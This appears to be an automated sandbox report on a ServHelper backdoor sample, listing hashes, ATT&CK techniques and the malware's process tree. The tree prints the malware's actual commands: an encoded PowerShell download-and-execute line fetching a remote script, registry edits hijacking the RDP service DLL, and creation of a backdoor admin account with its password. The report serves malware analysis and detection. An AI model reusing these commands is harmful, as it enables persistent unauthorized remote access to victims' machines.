servhelper | 8779c8ac97c45254bc243e2ee79b436d1a96bc56885dcaa72c4837790b2071fc

Analysis

max time kernel
134s
max time network
52s
platform
windows7_x64
resource
win7v20210410
submitted
27-04-2021 14:25

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General

Target

clr.exe
Size

6.0MB
MD5

1e9f45329ffece31382bb884367f58df
SHA1

52d3d55364d8c4d350231d38bfe6eb156cf8473f
SHA256

8779c8ac97c45254bc243e2ee79b436d1a96bc56885dcaa72c4837790b2071fc
SHA512

12272d5f20c42764992420aa1a178b16d7ef1873f2c9619bd8ac16e0eb9a0067a08a9d70863c1d3e95dd4a2aa19c081ae0baabaf3431f5068ea7191c8f4d6c62

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	932	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1628	icacls.exe
1588	icacls.exe
1624	takeown.exe
1152	icacls.exe
268	icacls.exe
1264	icacls.exe
296	icacls.exe
1040	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130eb-180.dat	upx
behavioral1/files/0x00050000000130ec-181.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
300	Process not Found
300	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1040	icacls.exe
1628	icacls.exe
1588	icacls.exe
1624	takeown.exe
1152	icacls.exe
268	icacls.exe
1264	icacls.exe
296	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ca26ce03-4de2-4bc1-8592-b97e82a1b803	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_614e1354-df19-41a8-841a-159c03ec17ce	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b537a550-c03b-49d7-a9ae-721f6beca2f1	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1d5c7ce6-e716-47ce-95ed-cb59cb3f0821	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_083e8a6e-6e8b-466d-b93a-6d1054221df6	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_284ccdd5-293d-4845-9edd-e705a6ae537d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e6ea3128-c9c5-42e6-b53d-2c90e0306cfb	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3595102e-e1b4-4c06-9b22-a2d3665df0e8	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1ZYFJDCOX1KIQ17RN6M2.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_44a12f06-fd90-4c2f-a951-4680a701bc9c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5b49ac2d-d3df-434c-befa-254fa9af25f2	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_97669659-8e51-4c66-84bc-505abdca3864	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 50343fd1713bd701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1704	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1716	powershell.exe
1716	powershell.exe
568	powershell.exe
568	powershell.exe
1104	powershell.exe
1104	powershell.exe
1168	powershell.exe
1168	powershell.exe
1716	powershell.exe
1716	powershell.exe
1716	powershell.exe
932	powershell.exe
932	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
460	Process not Found
300	Process not Found
300	Process not Found
300	Process not Found
300	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1716	powershell.exe
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	1104	powershell.exe
Token: SeDebugPrivilege	1168	powershell.exe
Token: SeRestorePrivilege	268	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	360	WMIC.exe
Token: SeIncreaseQuotaPrivilege	360	WMIC.exe
Token: SeAuditPrivilege	360	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	360	WMIC.exe
Token: SeIncreaseQuotaPrivilege	360	WMIC.exe
Token: SeAuditPrivilege	360	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	940	WMIC.exe
Token: SeIncreaseQuotaPrivilege	940	WMIC.exe
Token: SeAuditPrivilege	940	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	940	WMIC.exe
Token: SeIncreaseQuotaPrivilege	940	WMIC.exe
Token: SeAuditPrivilege	940	WMIC.exe
Token: SeDebugPrivilege	932	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1996 wrote to memory of 1716	1996	clr.exe	29
PID 1996 wrote to memory of 1716	1996	clr.exe	29
PID 1996 wrote to memory of 1716	1996	clr.exe	29
PID 1716 wrote to memory of 1944	1716	powershell.exe	31
PID 1716 wrote to memory of 1944	1716	powershell.exe	31
PID 1716 wrote to memory of 1944	1716	powershell.exe	31
PID 1944 wrote to memory of 844	1944	csc.exe	32
PID 1944 wrote to memory of 844	1944	csc.exe	32
PID 1944 wrote to memory of 844	1944	csc.exe	32
PID 1716 wrote to memory of 568	1716	powershell.exe	33
PID 1716 wrote to memory of 568	1716	powershell.exe	33
PID 1716 wrote to memory of 568	1716	powershell.exe	33
PID 1716 wrote to memory of 1104	1716	powershell.exe	35
PID 1716 wrote to memory of 1104	1716	powershell.exe	35
PID 1716 wrote to memory of 1104	1716	powershell.exe	35
PID 1716 wrote to memory of 1168	1716	powershell.exe	37
PID 1716 wrote to memory of 1168	1716	powershell.exe	37
PID 1716 wrote to memory of 1168	1716	powershell.exe	37
PID 1716 wrote to memory of 1624	1716	powershell.exe	40
PID 1716 wrote to memory of 1624	1716	powershell.exe	40
PID 1716 wrote to memory of 1624	1716	powershell.exe	40
PID 1716 wrote to memory of 1152	1716	powershell.exe	41
PID 1716 wrote to memory of 1152	1716	powershell.exe	41
PID 1716 wrote to memory of 1152	1716	powershell.exe	41
PID 1716 wrote to memory of 268	1716	powershell.exe	42
PID 1716 wrote to memory of 268	1716	powershell.exe	42
PID 1716 wrote to memory of 268	1716	powershell.exe	42
PID 1716 wrote to memory of 1264	1716	powershell.exe	43
PID 1716 wrote to memory of 1264	1716	powershell.exe	43
PID 1716 wrote to memory of 1264	1716	powershell.exe	43
PID 1716 wrote to memory of 296	1716	powershell.exe	44
PID 1716 wrote to memory of 296	1716	powershell.exe	44
PID 1716 wrote to memory of 296	1716	powershell.exe	44
PID 1716 wrote to memory of 1040	1716	powershell.exe	45
PID 1716 wrote to memory of 1040	1716	powershell.exe	45
PID 1716 wrote to memory of 1040	1716	powershell.exe	45
PID 1716 wrote to memory of 1628	1716	powershell.exe	46
PID 1716 wrote to memory of 1628	1716	powershell.exe	46
PID 1716 wrote to memory of 1628	1716	powershell.exe	46
PID 1716 wrote to memory of 1588	1716	powershell.exe	47
PID 1716 wrote to memory of 1588	1716	powershell.exe	47
PID 1716 wrote to memory of 1588	1716	powershell.exe	47
PID 1716 wrote to memory of 1056	1716	powershell.exe	48
PID 1716 wrote to memory of 1056	1716	powershell.exe	48
PID 1716 wrote to memory of 1056	1716	powershell.exe	48
PID 1716 wrote to memory of 1704	1716	powershell.exe	49
PID 1716 wrote to memory of 1704	1716	powershell.exe	49
PID 1716 wrote to memory of 1704	1716	powershell.exe	49
PID 1716 wrote to memory of 1664	1716	powershell.exe	50
PID 1716 wrote to memory of 1664	1716	powershell.exe	50
PID 1716 wrote to memory of 1664	1716	powershell.exe	50
PID 1716 wrote to memory of 1880	1716	powershell.exe	51
PID 1716 wrote to memory of 1880	1716	powershell.exe	51
PID 1716 wrote to memory of 1880	1716	powershell.exe	51
PID 1880 wrote to memory of 1384	1880	net.exe	52
PID 1880 wrote to memory of 1384	1880	net.exe	52
PID 1880 wrote to memory of 1384	1880	net.exe	52
PID 1716 wrote to memory of 816	1716	powershell.exe	53
PID 1716 wrote to memory of 816	1716	powershell.exe	53
PID 1716 wrote to memory of 816	1716	powershell.exe	53
PID 816 wrote to memory of 1336	816	cmd.exe	54
PID 816 wrote to memory of 1336	816	cmd.exe	54
PID 816 wrote to memory of 1336	816	cmd.exe	54
PID 1336 wrote to memory of 1668	1336	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\clr.exe
"C:\Users\Admin\AppData\Local\Temp\clr.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dj2uzjl3\dj2uzjl3.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1944
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3B2C.tmp" "c:\Users\Admin\AppData\Local\Temp\dj2uzjl3\CSC13CA4630FD7E46319A767537DECD84BF.TMP"
      4⤵
      PID:844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1168
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1624
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1152
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:268
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1264
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:296
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1040
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1628
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1588
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1056
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1704
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1664
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1880
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1384
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:816
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1336
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1668
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:960
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1168
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1052
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1140
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:992
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:964
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1140

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1016
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1712
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1620

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 5M9u06hR /add
1⤵
PID:1632
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 5M9u06hR /add
  2⤵
  PID:1704
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 5M9u06hR /add
    3⤵
    PID:1708

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:2040
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:712
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:972

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1624
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1040
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:968

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1620
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:592

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 5M9u06hR
1⤵
PID:1632
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 5M9u06hR
  2⤵
  PID:1912
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 5M9u06hR
    3⤵
    PID:816

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:964
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:360

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1708
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:940

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:984
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:932

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/568-98-0x000000001B5B0000-0x000000001B5B1000-memory.dmp

Filesize
4KB

Download
memory/568-100-0x000000001AA10000-0x000000001AA11000-memory.dmp

Filesize
4KB

Download
memory/568-121-0x000000001BB50000-0x000000001BB51000-memory.dmp

Filesize
4KB

Download
memory/568-94-0x000000001AA60000-0x000000001AA62000-memory.dmp

Filesize
8KB

Download
memory/568-95-0x000000001AA64000-0x000000001AA66000-memory.dmp

Filesize
8KB

Download
memory/568-96-0x0000000002690000-0x0000000002691000-memory.dmp

Filesize
4KB

Download
memory/568-120-0x000000001B8C0000-0x000000001B8C1000-memory.dmp

Filesize
4KB

Download
memory/568-107-0x000000001BD00000-0x000000001BD01000-memory.dmp

Filesize
4KB

Download
memory/568-101-0x0000000002440000-0x0000000002441000-memory.dmp

Filesize
4KB

Download
memory/932-203-0x0000000019620000-0x0000000019622000-memory.dmp

Filesize
8KB

Download
memory/932-205-0x000000001962A000-0x0000000019649000-memory.dmp

Filesize
124KB

Download
memory/932-204-0x0000000019624000-0x0000000019626000-memory.dmp

Filesize
8KB

Download
memory/1104-135-0x0000000001E50000-0x0000000001E51000-memory.dmp

Filesize
4KB

Download
memory/1104-129-0x000000001ABA4000-0x000000001ABA6000-memory.dmp

Filesize
8KB

Download
memory/1104-134-0x0000000002740000-0x0000000002741000-memory.dmp

Filesize
4KB

Download
memory/1104-132-0x000000001B580000-0x000000001B581000-memory.dmp

Filesize
4KB

Download
memory/1104-128-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

Filesize
8KB

Download
memory/1104-130-0x0000000002600000-0x0000000002601000-memory.dmp

Filesize
4KB

Download
memory/1168-148-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

Filesize
8KB

Download
memory/1168-149-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

Filesize
8KB

Download
memory/1716-70-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/1716-72-0x000000001AA20000-0x000000001AA22000-memory.dmp

Filesize
8KB

Download
memory/1716-87-0x000000001B510000-0x000000001B511000-memory.dmp

Filesize
4KB

Download
memory/1716-102-0x000000001AA2A000-0x000000001AA49000-memory.dmp

Filesize
124KB

Download
memory/1716-157-0x000000001C680000-0x000000001C681000-memory.dmp

Filesize
4KB

Download
memory/1716-85-0x000000001C3A0000-0x000000001C3A1000-memory.dmp

Filesize
4KB

Download
memory/1716-83-0x0000000002270000-0x0000000002271000-memory.dmp

Filesize
4KB

Download
memory/1716-67-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

Filesize
8KB

Download
memory/1716-75-0x000000001B8F0000-0x000000001B8F1000-memory.dmp

Filesize
4KB

Download
memory/1716-68-0x0000000002370000-0x0000000002371000-memory.dmp

Filesize
4KB

Download
memory/1716-86-0x000000001C420000-0x000000001C421000-memory.dmp

Filesize
4KB

Download
memory/1716-69-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

Filesize
4KB

Download
memory/1716-73-0x000000001AA24000-0x000000001AA26000-memory.dmp

Filesize
8KB

Download
memory/1716-71-0x00000000026B0000-0x00000000026B1000-memory.dmp

Filesize
4KB

Download
memory/1996-60-0x0000000043890000-0x0000000043CB1000-memory.dmp

Filesize
4.1MB

Download
memory/1996-65-0x00000000433E7000-0x00000000433E8000-memory.dmp

Filesize
4KB

Download
memory/1996-62-0x00000000433E2000-0x00000000433E4000-memory.dmp

Filesize
8KB

Download
memory/1996-64-0x00000000433E6000-0x00000000433E7000-memory.dmp

Filesize
4KB

Download
memory/1996-63-0x00000000433E4000-0x00000000433E6000-memory.dmp

Filesize
8KB

Download